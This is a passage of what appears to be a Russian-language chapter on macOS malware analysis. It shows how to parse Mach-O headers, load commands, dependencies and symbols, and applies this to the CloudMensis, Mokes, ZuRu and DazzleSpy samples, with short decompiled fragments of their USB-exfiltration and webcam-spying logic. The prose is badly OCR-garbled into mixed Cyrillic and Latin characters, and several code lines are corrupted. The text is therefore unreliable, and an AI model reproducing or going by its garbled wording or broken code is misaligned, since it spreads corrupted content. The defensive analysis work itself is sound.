sizeof(struct mach_header_64), npexae 4em pa3biMEHOBbLIBATb CMELLEHWS B 3arofioBKe.

Mpumeyanue. 3aronoskn Mach-O umetot Tun mach_header unu mach_header_64. HegasHue
Bepcun macOS nogaepxmBatoT TONbKO 64-OUTHBIN KoL, MO3TOMY 3TOT pa3fen cocpeaoToYveH Ha
mach_header_64, onpegeneHHom B mach-o/loader.h.

Tenepb, Koraa Mbl yBEpEHbI, 4TO cMOTpuMM Ha Mach-O, MmoxHo pa3obpatb ero. JinctuHr 2-9 onpegensiet
0N 9TOW uenu BcrnomoraTenbHyo OYHKLUMIO ¢ UMeHeM parseMachO0. OHa npuHMMaeT ykasaTenb Ha
CTPYKTYpy mach_header_64.

void parseMachO(struct mach_header_64* header) {
if(MH_CIGAM_64 == machoHeader->magic) {

swap_mach_header_64(machoHeader, ((NXArchInfo*)NXGetLocalArchInfo())->byteorder);

}
JlnctnHr 2-9: MepecTtaHoBka 3aronoska Mach-O B cooTBeTCTBMM C Nopsakom 6GanToB xocTa

MocKonbKy 3aronoBoOK ABONYHOIO (haria 1 XocToBasi MallMHa MOryT MMeTb pasHbli Mopsigok 6anToe, Koa
CHa4arna npoBepsieT nepecraBneHHoe magic-3HadeHne Mach-O. Ecnu Bbl BCTPETUIM €ro, nepectaBbTe
3aronoBok Yyepe3 API swap_mach_header_64. ObpaTnte BHUMaHue, 4YTO 30eCb KOA UCMOMNb3YeT PYHKLUUNIO
macOS NXGetLocalArchInfo, Ho ecnu Bbl nuweTe koa ansd macOS 13 unu HoBee, cnegyeT
ncnonb3oBaTtb 6onee coBpeMmeHHble APl macho*, cHoBa yunTbIBas, 4TO hyHKLMA macho_best _slice
6bina cnomaHa go macOS 15.

Y106kl HanevaTaTh 3aronoBok Mach-O, Mbl nuwem BcnomMoraTenbHyo gyHKUmMIo printMachOHeader
(nucTunHr 2-10).

void printMachOHeader(struct mach_header_64* header) {
int32_t cpusubtype = 0;
cpusubtype = header->cpusubtype & ~CPU_SUBTYPE_MASK;

printf("Mach-0 header\n");
printf(" magic %#x\n", header->magic);
printf(" cputype %u (%#x)\n", header->cputype, header->cputype);
printf(" cpusubtype %u (%#x)\n", cpusubtype, cpusubtype);
printf(" capabilities %#x\n", (header->cpusubtype & CPU_SUBTYPE_MASK) >> 24);
printf(" filetype %u (%#x)\n", header->filetype, header->filetype);
printf(" ncmds %u\n", header->ncmds);
printf(" sizeofcmds %u\n", header->sizeofcmds);
printf(" flags %#x\n", header->flags);
}

JTnctuur 2-10: MevaTtb 3aronoska Mach-O
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O0630p kaXJoro YrneHa 3arofioBka MOXHO HAWTWM B KOMMEHTapUsX K ONpeaerieHnto CTPYKTYpbI
mach_header_64. Hanpumep, nocne nonsa magic nayt ABa Nons, onvcbiBaloLLMe COBMECTUMBIA TUM U
noatun CPU gBonyHoro carna. YneH cpusubtype Takke cogepxut capabilities gBonyHoro dpanna, n mx
MOXHO M3BreYb B COOCTBEHHOE MOreE.

Tun cparina ykasbiBaeT, ABNSETCS N ABOUYHBIN dhainn caMOoCTOATENbHbIM UCMOMHAEMbIM danfiomM unu
3arpyxaemon 6ubnuotekon. CnegytoLime nonsg ONUCLIBaKOT KONMYECTBO M pa3mep load commands
OBOMYHOrO hanna, KoTopble Mbl BCKOpe Oyem akTMBHO MCMNOoNb3oBaThb. HakoHew, YneH cTpykTypbl flags
yKasblBaeT JOMNOMHUTENbHbIE HEODA3aTENbHbIE BO3MOXXHOCTU, HAanpumep COBMECTMM N ABOVYHBIN chann
C paHooMu3aumen pasmMeLleHns agpecHoro NPoCcTpaHCTaa.

3anycTtum kog pasbopa Mach-O gns CloudMensis. Nocne noucka B yHMBepcanbHOM 3arofioBke
WHCTPYMEHT HaxoauT COBMECTMMBbIN 3aronioBok Mach-O u 3atem nevyaTaeT ero:

% ./parseBinary CloudMensis/WindowServer

Mach-0 header:

magic @xfeedfacf

cputype 16777228 (0©x100000c)

cpusubtype @ (0)

capabilities @

filetype 2 (0x2)

ncmds 28

sizeofcmds 4192

flags 0x200085

OT0T BbIBOA coBnagaeT ¢ BbiBogoM Apple otool, donar -h koToporo npegnuncbiBaeT HanevyaTatb
3aronoBok Mach-O:

% otool -h CloudMensis/WindowServer

CloudMensis/WindowServer (architecture armé4):

Mach header

magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
Oxfeedfact 16777228 0 0x00 2 28 4192 0x00200085

3anyck otool ¢ dhnarom -v npeobpasyeT BO3BpaLLEHHbIE YACNOBbIE 3HAYEHUSA B CUMBOSIbI:

% otool -hv CloudMensis/WindowServer

CloudMensis/WindowServer (architecture armé4):

Mach header

magic cputype cpusubtype caps filetype ncmds sizeofcmds flags
MH_MAGIC_64 ARM64 ALL 0x00 EXECUTE 28 4192 NOUNDEFS DYLDLINK
TWOLEVEL PIE

OTM 3HaYEeHUs NOATBEPXKAAIOT, YTO HaLL MHCTPYMEHT paboTaeT Kak OXXnaaeTcs.

Load Commands

Load commands - 310 MHCTpyKkumm ans dyld, koTopble MayT cpasy nocrie 3aronoska Mach-O. None
3arornoBka ¢ MMeHeM ncmds 3agaeT konnyecTBo load commands, a kaxaas KomaHaa aBnseTcs
CTPYKTypou Tvna load_command, cogepxatien Tun komaHdbl (cmd) n pasmep (cmdsize), kKak BUAHO 34€Ch:
struct load_command {
uint32_t cmd; /* type of load command */
uint32_t cmdsize; /* total size of command in bytes */
¥
HekoTopeble load commands onuceiBaloT cerMmeHTbl B ABOUYHOM haine, HanpumMep cermeHT _ TEXT,
cofepxalumm kog BonYHoro parna, Torga Kak Apyrue onucbiBaroT 3aBUCUMOCTU, pacrnonoxeHme
Tabnuubl CMMBOJIOB U MHOroe Apyroe. MoaToMy ko, CTpeMsawwmiica nseneyvb nHdopmaumio n3 Mach-0,
00bI4YHO HavMHaeT ¢ pasbopa load commands.
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JlnctnHr 2-11 onpegensieT ons aToM Leny BcnomMoraTenbHyo yHKUMI0 ¢ MMeHeM findLoadCommand.
OHa npuHMmaeT ykasaTenb Ha 3aronoBok Mach-O u Tun load command, KOTOpbIA HY>XHO HAaNTW.
Onpegenue Havano load commands, oHa nepebupaeT Kaxayo U3 HUX U CO34aeT MaccuB, coaepxallmi
KOMaHAbl, COOTBETCTBYIOLLME YKa3aHHOMY TUMy.

NSMutableArray* findLoadCommand(struct mach_header_64* header, uint32_t type) {

NSMutableArray* commands = [NSMutableArray array];
struct load_command* command = NULL;

command = (struct load_command*)((unsigned char*)header + sizeof(struct mach_header_64));
for(uint32_t i = @; i < header->ncmds; i++) {

if(type == command->cmd) {
[commands addObject:[NSValue valueWithPointer:command]];

}

command = (struct load_command*)((unsigned char*)command + command->cmdsize);

}

return commands;

}
Jlnctunr 2-11: Mepebop Bcex load commands 1 cOop Tex, KOTOpble COOTBETCTBYIOT YKa3aHHOMY TUMy

Mbl HAYMHaeM ¢ BbIMMCIEHMS yKa3aTenst Ha nepByto load command, KoTopas uaeT cpasy nocne
3aronoska Mach-O. 3atem nepebupaem Bce load commands, pacnonoxeHHble 0aHa 3a ApYron, U
npoBepsiem yrneH cmd Kaxxgon ns Hux, 4tobbl yBuaeTb, COBNaaaeT NN OH C YKka3aHHbIM TUNOM. [1ockonbKy
Mbl HE MOXEM HanpsiMyto XpaHUTb ykasaTenu B maccuse Objective-C, cHadana co3gaem o0bekT NSValue
¢ agpecom load command. HakoHeL, nepexoanm k cnegytowen load command. Load commands moryT
pasnuyaTbCs No pasMepy, NO3TOMY OS5 MOMCKa crieaylowen ncnosnb3yem none cmdsize Tekywen
KOMaHgpbl.

MoHsB load commands 1 MMes BcnomoraTenbHy yHKLWIO, BO3BPALLAOLLYI0 MHTEPECYIOLNE KOMaHabI,
Tenepb pacCMOTPUM HECKOSNBKO NPUMEPOB BaXKHOW MHGOPMaLIMK, KOTOPYIO MOXHO U3BMeYb, HaunHasi ¢
3aBMCMMOCTEN.

N3BneyeHne 3aBUCMMOCTEN

OpHa m3 npuynH pasbupate Mach-O - nsenekaTb Ux 3aBUCMMOCTU: AMHAMU4eckue 6MbnmMoTeku, KoTopble
dyld 6ygeT aBTOMaTMYeckn 3arpyxaTb. [TOHMMaHWe 3aBMCMMOCTEN ABOUYHOTO harina MOXeT AaTb
npeacTaBneHne 0 ero BEPOSATHbIX BO3MOXHOCTSIX UMW AaXe pacKpblTb BPeOOHOCHbIE 3aBUCMMOCTU.
Hanpumep, CloudMensis nuHkyeTcs ¢ ppenmaopkom DiskArbitration, koTopeii npegoctasnsieT APl gns
B3aMMOENCTBUS C BHeLIHMMY anckamn. Micnonb3ysa APl aTtoro doperimBopka, BpeaoHOCHas nporpamMmma
oTcnexusaeT nogknoyeHme cbeMHbix USB-HakonuTenem, 4tobbl akCunbTpupoBaTh BHELIHWE dhannbl.

Mpun HanucaHWK Koda Mbl HYacTo MOXEM A0OUTbCS OQHOMO U TOro XKe pe3ynbTaTa HECKONbKUMMN
cnocobamu. Hanpumep, B rmase 1 Mbl U3BReKanu Bce 3arpyeHHble 6ubnmoTekn n penmBopkm U3
3anyLLEHHOro npoLecca, ucnonb3ys vmmap. B 3To rmaBe Mbl BbINOMHUM MOXOXYHO 3a4avy, BPY4YHYHO
pasbupas Mach-O. OT0T cTaTMyeckn NOAxXo4 U3BneYeT TONbKO NPsiMble 3aBUCUMOCTU, UCKITHOYast
PEKYPCUIO; MHa4Ye roBops, Mbl He ByaeM M3BrnekaTb 3aBUCUMOCTU 3aBrucumMmocTeil. Kpome Toro,
BMbnnoTekn, HaNPsIMyLo 3arpyxaemble ABOUYHBIM (DasioM BO BpEMS BbIMOTHEHMS, camu Mo cebe
3aBUCUMOCTSIMU He SIBMSIOTCS M NO3TOMY He ByayT M3BreyeHbl. HeCMOTpsi Ha MPOCTOTY, 3TOT NpMem
AOMKeH NoMoYdb NOHATL BO3MOXHOCTU Mach-O, 1 oH He TpebyeT BbINOMHEeHNs] BHELLUHMX ABOUYHbIX
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davinos Bpoge vmmap. Takke kog byget pabotats ¢ nodbim Mach-O-aBonyHbiMm dannom, He Tpebdys,
4YTOObl OH B A@HHbLI MOMEHT BbIMOSHASICS.

Mouck nyten 3aBucnmocrten

YUTto6bl n3BMEYb 3aBUCMMOCTM ABOMYHOrO dhaina, MOXHO nepeuncnuTb ero load commands
LC_LOAD_DYLIB, kaxgasi U3 KOTOPbIX COAEPXKUT NyTb K BnbnunoTteke unun openmBopKy, OT KOTOPOro
3aBucut Mach-O. CtpykTtypa dylib_command onucbiBaeT aT1 load commands:
struct dylib_command {
uint32_t cmd; /* LC_ID DYLIB, LC_LOAD_{,WEAK_}DYLIB, LC_REEXPORT_DYLIB */
uint32_t cmdsize; /* includes pathname string */
struct dylib dylib; /* the library identification */
s
Mbl n3Bnedem 3T1 3aBUCUMOCTU B (PYHKLIMM C UMeHeM extractDependencies, koTopasa npuHUMaeT
yKasaTenb Ha 3aronioBok Mach-O u Bo3BpallaeT MaccuB, CogepKallumin MUMeHa 3aBUCMMOCTEN.

MpumeyaHwue. [Insa npocToThbl Mbl He Oyaem yumTbiBaTh load commands LC_LOAD_WEAK_DYLIB,
KOTOpbIE ONUCLIBAOT HeObSA3aTENbHbIE 3aBUCUMOCTM.

B nuctuHre 2-12 ko HauMHaeT ¢ BbI30Ba BCnomoratenbHom pyHKLMM findLoadCommand, YTOObI HANTK
load commands, Tun koTopbIx paBeH LC_LOAD_DYLIB. 3ateM OH nepebupaeT kaxayto n3 aTmx load
commands, 4YTobObl M3BMNEYb NyTb 3aBUCUMOCTH.

NSMutableArray* extractDependencies(struct mach_header_64* header) {

NSMutableArray* commands = findLoadCommand(header, LC_LOAD_DYLIB);
for(NSvValue* command in commands) {

// Add code here to extract each dependency.

}
JInctuur 2-12: MNowuck Bcex load commands LC_LOAD_DYLIB

Terlepb n3pnevyem nma Ka)KJJ,OI7I 3aBMCcUMOCTU. YTOObI NMOHATb, KakK Mbl 6yp,eM 3TO AenaTtb, B3rMAHNTE Ha
CTpYKTYpy dylib, onucbiBaloLLyt0 3aBUCUMOCTb. JTa CTPYKTYpa SABNAETCS NOCNeaHUM YNeHOM CTPYKTYpbI
dylib_command, ucnonssyemon ans onucaHmna load commands LC_LOAD_DYLIB:
struct dylib {
union lc_str name; /* library's path name */
uint32_t timestamp; /* library's build time stamp */
uint32_t current_version; /* library's current version number */
uint32_t compatibility version; /* library's compatibility vers number*/
¥
Hac nHTepecyeT none CTpyKTypbl name, TUN KOTOporo - 1c_str. KommeHTapuii B pavine Apple loader.h
O6'bF|CHF|eT, YTO CHa4ana HY>XHO 13BJie4db CMeLLEeHne K nyTn 3aBUCMMOCTH, a 3aTeM UCNoJib30BaTb €ro Ans
BblYMCIIEHNS GANTOB M ANVHBLI NyTU (MUCTUHT 2-13).

NSMutableArray* dependencies = [NSMutableArray array];
for(NSValue* command in commands) {
struct dylib_command* dependency = command.pointerValue;
uint32_t offset = dependency->dylib.name.offset;

char* bytes = (char*)dependency + offset;
NSUInteger length = dependency->cmdsize-offset;
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NSString* path = [[NSString alloc] initWithBytes:bytes length:length encoding:NSUTF8
StringEncoding];

[dependencies addObject:path];
¥

JInctuur 2-13: NsaBnedveHne 3aBncumocTtu u3 load command LC_LOAD_DYLIB

PaHee Mbl coxpaHunu ykasaTtersb Ha Kaxayto nogxoasiyto load command kak o6bekT NSValue, noatomy
cHavara JOJKHbl U3BMeYb 3TN yKasaTenu. 3aTem N3BNeKaem CMeLLEHME K NyTU 3aBUCUMOCTU U
ncnonb3dyem ero ana BblMUCNeHna 6anToB 1 OJTMHbI NYTW. Tenepb MOXHO J1erko n3eneyb NyTb B
CTPOKOBBIN 0O6BLEKT U COXPaHWUTL €ro B MaccuBe. [locne 3aBepLleHns nepeyncrieHns Mbl BO3BpaLLaem
3TOT MAccuB, COAepPXaLLnii BCe 3aBUCUMOCTMW.

Korga Mbl komnunupyem u 3anyckaem atoT koa ansa CloudMensis, oH BbIBOAUT crieaytoLLee:
% ./parseBinary CloudMensis/WindowServer
Dependencies: (count: 12): (

"/usr/lib/libobjc.A.dylib",
"/usr/1ib/1ibSystem.B.dylib",

"/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration”,
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration”

)

O6paTtnTe BHMMaHWe Ha BkNtoveHne dpermBopka DiskArbitration, o koTopom Mbl ynomunHanu paHee. Ewe
pa3 MOXHO MCcnonb3oBaTh otool, Ha 3TOT pas ¢ dpnarom -L, YTo6bl NOATBEPAUTL TOYHOCTL HaLLEro Koaa:

% otool -L CloudMensis/WindowServer

"/usr/lib/libobjc.A.dylib",
"/usr/lib/1libSystem.B.dylib",

"/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration”,
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration”

3aBncumocTu, nssneyeHHble n3 CloudMensis ¢ nomoLlbo otool, coBnagatoT ¢ 3aBUCMMOCTSIMU,
N3BMEeYEHHbIMM HALLUM KOAOM, NMO3TOMY MOXHO NepenTn K ux aHanuay.

AHanuni3 saBucuMmMmocTen

BonblnHcTBO 3aBucumMocter CloudMensis - 310 cuctemMHble GUBGNUOTEKM U HPENMBOPKU, TaKMUe Kak
libobjc.A.dylib n 1ibSystem.B.dylib. Mo cytn Bce aBoundHbie dannbl Mach-O nMHKYTCS € HAMW, 1
C TOYKW 3peHnsi OOHapYXeHUs1 BPEAOHOCHbLIX NPOrpamMM OHW HEUHTepecHbl. OgHAKO 3aBUCUMOCTb
DiskArbitration npumeyaTensHa, nockonbKy oHa npegocTasnsetT APl DA* ons B3anmoaencTens ¢
BHELUHUMU gMckamu. BoT doparmeHT gekomnunmpoBaHHoro geonyvHoro koga CloudMensis,
nokasbiBatowmn B3anmogenctene ¢ API DiskArbitration:

-(void)loop_usb {
rax = DASessionCreate(**_kCFAllocatorDefault);

DARegisterDiskAppearedCallback(rax, 0x0, OnDiskAppeared, ©x90);

}

int OnDiskAppeared() {

rl3 = DADiskCopyDescription(rdi);
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rax = CFDictionaryGetValue(rl3, **_kDADiskDescriptionVolumeNameKey);
rl4 = [NSString stringWithFormat:@"/Volumes/%@", rax];

rax = [functions alloc];

rl5 = [rax randPathWithPrefix:0x64 iszZip:0x0];

rax = [FileTreeXML alloc];
[rax startFileTree:rl14 dropPath:ri5];

[rax MoveToFileStore:rl5 Copy:0x0];

rax [NSURL fileURLWithPath:r14];
rl4 = [NSMutableArray arrayWithObject:rax];

rax = [functions alloc];
[rax SearchAndMoveFS:r14 removable:0x1];

}

CHayvana B byHKUMM C MMeHeM loop_usb BpegoHoCHasi nporpamma Bbi3biBaeT pasnumyHbie API
DiskArbitration, 4Tobbl 3apernctpupoBaTh callback, koTopbI onepauMoHHas cuctema aBTOMaTUYECKU
BbI30BET NMpK NosABeHUn HoBoro gucka. Korga atot callback OnDiskAppeared Bbi3biBaeTca, Hanpumep
npv noakntoyeHnn BHelwHero USB-HakonuTensi, oH Bbi3biBaeT apyrne API DA*, Takue Kak
DADiskCopyDescription, 4ToObl MONyYnTbL AOCTYN K MHGOPMaLMM 0 HOBOM ancke. OcTaBLiascsa 4YacTb
koga B callback OnDiskAppeared oTBey4aeT 3a co3gaHue cnucka annos, a 3aTeM KonvpoBaHue annos
C HaKONUTENS B NONb30BaTeNbCKoe annoBoe XxpaHunuiie. 3Tu gannbl B UTore aKCUnbTPYTCS Ha
yOarneHHbI KoMaH4HO-YNPaBnsoLWnin cepBep aTakyoLLero.

3anyctum Kog 3aBMCMMOCTEN NS Apyroro odpasua BpeAOHOCHOW NporpamMMbl, KOTOPbIA UCMONb3YET eLle
BonbLue perMBOPKOB, YTOObLI MOMYYUTb LLUMPOKMI Habop HacTynaTenbHbIX BO3MOXHOCTeN. Mokes - aTo
Kpocc-nnaTtopMEHHbIV MMMNMAHT AN knbepLlunMoHaxa, 3apaxasLwui nonb3oBatenenn macOS B aTakax c
ucnonb3oBaHuem browser zero-days. [61 3anyck kofa n3BnevyeHus 3aBMCMMOCTEN ANsa ABOMYHOroO dhamnna
BPEAOHOCHOM NporpamMmmbl C MMEHEM storeuserd reHepupyeT cnegyloLwuin BelBoA;

% ./parseBinary Mokes/storeuserd

Dependencies: (count: 25): (
"/System/Library/Frameworks/DiskArbitration.framework/Versions/A/DiskArbitration”,
"/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit",
"/System/Library/Frameworks/ApplicationServices.framework/Versions/A/ApplicationServices",
"/System/Library/Frameworks/CoreServices.framework/Versions/A/CoreServices",
"/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation”,
"/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation",
"/System/Library/Frameworks/Security.framework/Versions/A/Security"”,
"/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration",
"/System/Library/Frameworks/Cocoa.framework/Versions/A/Cocoa",
"/System/Library/Frameworks/Carbon.framework/Versions/A/Carbon",
"/System/Library/Frameworks/AudioToolbox.framework/Versions/A/AudioToolbox",
"/System/Library/Frameworks/CoreAudio.framework/Versions/A/CoreAudio”,
"/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
"/System/Library/Frameworks/AVFoundation.framework/Versions/A/AVFoundation",
"/System/Library/Frameworks/CoreMedia.framework/Versions/A/CoreMedia",
"/System/Library/Frameworks/AppKit.framework/Versions/C/AppKit",
"/System/Library/Frameworks/AudioUnit.framework/Versions/A/AudioUnit",
"/System/Library/Frameworks/CoreWLAN.framework/Versions/A/CoreWLAN",

HekoTopble 13 3TUx 3aBUCUMOCTEN NPOSIMBAIOT CBET HA BO3MOXHOCTU BPEJOHOCHOW NporpaMmmbl U MOTYyT
HanpaBuTb JanbHenwun aHanua. Hanpmumep, BpegoHocHas nporpaMmmMa ucnosnb3yet penMmBopK
AVFoundation, 4to6bl 3an1cbiBaTh ayano 1 BUOEO C MUKPOOHa 1 BeG-kaMepbl 3apaxeHHoro xocta. OHa
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Takke ucnonosyet CoreWLAN ang nepevymcneHns u MOHUTOPUHra ceTeBbIX UHTEPKENCOB U
DiskArbitration gns HabnogeHMsa 3a BHELWWHUMW HAKONUTENAMMU, YTOObI HAXOAUTb U 3KCHUNBTPOBaTb
WHTepecylowme dannsbl.

PasymeeTcd, 0gHU 3aBUCMMOCTU He MOTYT AoKasaTb, YTO Kof BpedoHOCeH. Hanpumep, ABOUYHbI chann,
nuHkytowmncsa ¢ AVFoundation, He 06513aTenbHO LUNMOHNT 3a NOMb30BaTENEM; 3TO MOXET ObITb
NernTMMHoOE NPUNoXeHWe BUAEOKOHMEPEHLUNIA UM OHO MOXET MPOCTO UCMONb30BaTh PPEVIMBOPK ANS
0e306uaHbIX 3aga4, CBsA3aHHbIX ¢ MynbTuMeana. OgHako B3rnsag Ha crenyowmin doparmeHT
ansaccembnupoBaHusa Mokes noateBepxgaeT, YTo OH AencTBuTensHo ncnonb3yeT APl AVFoundation
3NOHaMepEHHO:

rax = AVFAudioInputSelectorControl::createCaptureDevice();
;;; = [AvVCaptureDeviceInput deviceInputWithDevice:rax error:&var_28];
éhétaobject::tr(..., "Could not connect the video recorder");
toT OTPbLIBOK MOKa3bIiBaeT, Kak Ko B3aVIMO,EI,eIZCTByeT Cc Be6-|<amep0|7|, YTOObI LUMNOHUTL 3a xXeprtBamMn.

Ewe ogHa npyyvHa n3BnekaTb 3aBUCMMOCTY 13 ABom4dHoro danna Mach-O - obHapyxeHne BpeAoHOCHbIX
noameH. ZuRu - oanH 13 Takmx npumepos. ABTOPbI 3TOW BPEAOHOCHOW NPOrpaMMbl CKPbITHO
TPOSHU3NPOBANW NONYNAPHbLIE NPUIOXEHNS, Takme Kak iTerm, fo6aBnas K HUM BPeAOHOCHYHO
3aBMCUMOCTb, @ 3aTeM pacnpoCTpaHANM NPUIOXEHUS Yepes CNIOHCUPOBaHHbIE 0ObABNEHNS, KOTOPble
NosIBNSANMCL NEPBbIM Pe3yrnbTaToM, KOraa nofb3oBaTeny UCKanu NPUNoXeHus B UHTEPHeTE.

MoameHa 6bina CKpbITHOW, MOCKONBKY MOMHOCTLIO CoXpaHsna (yHKLMOHANBHOCTb UCXOAHOro
npunoxeHusi. OQHaKo U3BMEYEHNe 3aBUCUMOCTEN GbICTPO BbISIBNSET BPEAOHOCHYIO 3aBUCUMOCTb. YTOGbI
NpPOAEeMOHCTPUPOBATL 3TO, CHayasia U3BneyYemM 3aBUCMMOCTU U3 NIETMTUMHO Konum iTerm2:

% ./parseBinary /Applications/iTerm.app/Contents/Mac0S/iTerm2

Dependencies: (count: 33):

"/usr/lib/libaprutil-1.0.dylib",

"/usr/lib/libicucore.A.dylib",

"/usr/1lib/1libc++.1.dylib",
"@rpath/BetterFontPicker.framework/Versions/A/BetterFontPicker",
"@rpath/SearchableCombolListView.framework/Versions/A/SearchableComboListView",
"/System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory”,

"/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
"/System/Library/Frameworks/WebKit.framework/Versions/A/WebKit",
"/usr/lib/libsqlite3.dylib",

"/usr/1lib/1libz.1.dylib"

)

Hunyero Heobbl4HOro. Tenepb, eCcrny U3BneYb 3aBUCUMOCTU U3 TPOSIH3MPOBAHHOIO ak3emMnnspa iTerm, Mbl
0BHapy>XMM HOBYHO 3aBUCUMOCTL, libcrypto.2.dylib, pacnonoxeHHyto B bundle npunoxexuns. 9ta
3aBMCUMOCTb BpocaeTcs B rnasa He TOMbKO MOTOMY, YTO €€ HeT B NIErMTUMHOM NPUOXKEHUN, HO U1
NMoTOMY, 4YTO 3TO €ANHCTBEHHAs 3aBUCMMOCTb, UCNOSb3YoLLas NnepemMeHHyto @executable_path:

% ./parseBinary ZuRu/iTerm.app/Contents/Mac0S/iTerm2

Dependencies: (count: 34):

"/usr/lib/libaprutil-1.0.dylib",

"/usr/lib/libicucore.A.dylib",

"/usr/lib/libc++.1.dylib",
"@rpath/BetterFontPicker.framework/Versions/A/BetterFontPicker",
"@rpath/SearchableCombolListView.framework/Versions/A/SearchableComboListView",
"/System/Library/Frameworks/OpenDirectory.framework/Versions/A/OpenDirectory”,
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"/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore",
"/System/Library/Frameworks/WebKit.framework/Versions/A/WebKit",
"/usr/1lib/libsqlite3.dylib",

"/usr/1lib/1libz.1.dylib",
"@executable_path/../Frameworks/libcrypto.2.dylib"

)

B nepemeHHon @executable_path HeT HMYero nsHavanbLHO BPEAOHOCHOrO; OHa NPOCTo coobLaeT
3arpy3yuKy, kak OTHOCUTENBHO pa3peLumnTb NyTe OUbNnoTekn, To ectb BbnNnoTeka, BEPOATHO, BCTPOEHA B
TOT e bundle, 4To 1 ucnonHsiembln an. Tem He MeHee JobaBrneHe HOBOW 3aBUCMMOCTH,
cCbinarLLerncst Ha BHOBb AobaBneHHyto 6nbnunoTteky, siBHO TpeboBano ONOMHUTENBHOIO aHanunsa, u
TakoW aHanu3 nokasar, YTo 3aBMCMMOCTb COAEep’Kana BCl BPe4OHOCHYIO NMOrMKy Bpe4oHOCHON
nporpammei. 71

U3Bne4yeHne cumBonoB

CvmBornbl ABOUYHOTO havina cogepxat MeHa OyHKUMUA N MeToaoB ABOUYHOTO haina, a Takke nMeHa
API, KOTOpblE OH MMMOPTUPYET. ATV UMEHA PYHKLMIA MOTYT packpbiTb BO3MOXHOCTM dhanna u gaxe gatb
WHAMKaTOpPbI TOro, YTO OH BpeJoHOCeH. Hanpumep, n3sneyem CMMBOSbI U3 BPEAOHOCHOW NPOrpaMmbl
DazzleSpy ¢ nomoLbto nHctpymeHta macOS nm:

% nm DazzleSpy/softwareupdate

"+[Exec doShellInCmd:]",
"-[ShellClassObject startPty]",
"-[MethodClass getIPAddress]",
"-[MouseClassObject PostMouseEvent::::]",
"-[KeychainClassObject getPasswordFromSecKeychainItemRef:]"

Mo chopmaTy 3TMX CMMBOJIOB MOXHO MOHSITb, YTO BPEAOHOCHAs NporpamMma Obina HanucaHa Ha
Objective-C. Cpepna BbinonHeHus Objective-C TpebyeT, 4ToObl MMEHA METOL0B OCTaBanMCb HETPOHYTHIMMU
B CKOMMUIIMPOBAHHOM ABOMYHOM chaiirie, NMOSTOMY MOHATH BO3MOXHOCTU ABOUYHBLIX DainoB 4acTo
OTHOCUTENBHO Nerko. Hanprumep, cumBornbl, BCTpoeHHble B DazzleSpy, packpbiBaloT MeETOAbI, KOTOpPbIE,
cyas No BCeMy, BbINOMHSIIOT koMaHAbl 060104kK, 06crneayoT cuctemy, OTNPaBstoT COObITUS MbILUN U
KpagyT naponu ua keychain.

CTOoMT OTMETUTB, OOHAKO, YTO HUYTO HE MELUaeT aBTopaM BPEAOHOCHbBIX MPOrpaMM MCNonb3oBaThb
BBOASLLME B 3abnyxaeHne uMmeHa MeTooB, MO3TOMY HMKOTrAa He crnefdyeT AenaTh BbiBOAb! TOMNBKO Ha
OCHOBE M3BINEeYeHHbIX CUMBOJIOB. Bbl Takke MoxeTe CTOJIKHYTbCA C CMMBOJ1aMU, KOTOpble Obinu
006gycLUMpOBaHbI, YTO AaET AOBOSIbHO XOPOLUMIA NPU3HAK TOro, YTO ABONYHOMY (balny eCTb YTO CKpbIBaThb.
HakoHeu, aBTopbl Mornu strip-HyTb ABOUYHbIV dhaiin, YTOObI yaanuTb CUMBOSbI, HE ABMSAOLLMECS
HGOﬁXO,EI,I/IMbIMVI Ona BbINOJTHEHNA NPOrpamMmMbl.

Moaxe B BoiBOAe cMmBonoB nm Ans DazzleSpy mbl Takke Haxogum API, koTopble BpeaoHoCHas
nporpamma UMNopTUpyeT U3 CUCTEMHBIX BUBMOTEK U DPErMBOPKOB:

_bind

_connect

_AVMediaTypeVideo

_AVCaptureSessionRuntimeErrorNotification

_NSFullUserName
_SecKeychainItemCopyContent

Ciopa BxopgaT ceTeBble API, Takne kak bind u connect, cBsizaHHble ¢ backdoor-Bo3amoXXHOCTAMU
BpeaoHOCHOMN nporpammel, tMnopTel AVFoundation, cBs3aHHbIE C ee BO3MOXHOCTAMU yOaNeHHOro
pabouyero ctona, a Takke API ans obcrnenoBannsa cnuctembl U N3BreYeHns 06bEKTOB 13 keychain xepTBbl.
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Kak nporpammMHO n3Bneyb cMMBOSbI ABonYHoro darna Mach-O? Kak Bel yBuanTe, 4nsa atoro cHoea
TpebyeTca pa3bupaTb load commands aBonyHoro ganna. Mel cocpegoToumMmMmcs KOHKpeTHO Ha load
command LC_SYMTAB, KoTopasa cogepXuT nHopmMaLmio 0 CMMBOSIax ABOUYHOIO hanna, Haxogawmxca B
Tabnuue cumBornos, oTcioga cyddukc load command SYMTAB. Ota load command cocTouT U3 CTPYKTYpbI
symtab_command, onpegeneHHon B loader. h:
struct symtab_command {
uint32_t cmd; /* LC_SYMTAB */
uint32_t cmdsize; /* sizeof(struct symtab_command) */
uint32_t symoff; /* symbol table offset */
uint32_t nsyms; /* number of symbol table entries */
uint32_t stroff; /* string table offset */
uint32_t strsize; /* string table size in bytes */
s
UneH symoff coaepXnt cmelleHne Tabnumubl CMUMBOMOB, @ NSyms COAEPXXUT KONTMYECTBO 3anncen B 3TON
Tabnuue. Tabnvua cMMBONOB COCTOUT M3 CTPYKTYP nlist_64, onpegeneHHbix B nlist.h:
struct nlist_64 {
union {
uint32_t n_strx; /* index into the string table */
} n_un;
uint8_t n_type; /* type flag, see below */
uint8_t n_sect; /* section number or NO_SECT */
uintl6_t n_desc; /* see <mach-o/stab.h> */
uint64_t n_value; /* value of this symbol (or stab offset) */
s
Kaxxgas cTpyktypa nlist 64 B Tabnvue CUMBOIOB COAEPXNUT MHAEKC B Tabnuuy CTPOK, B none n_strx.
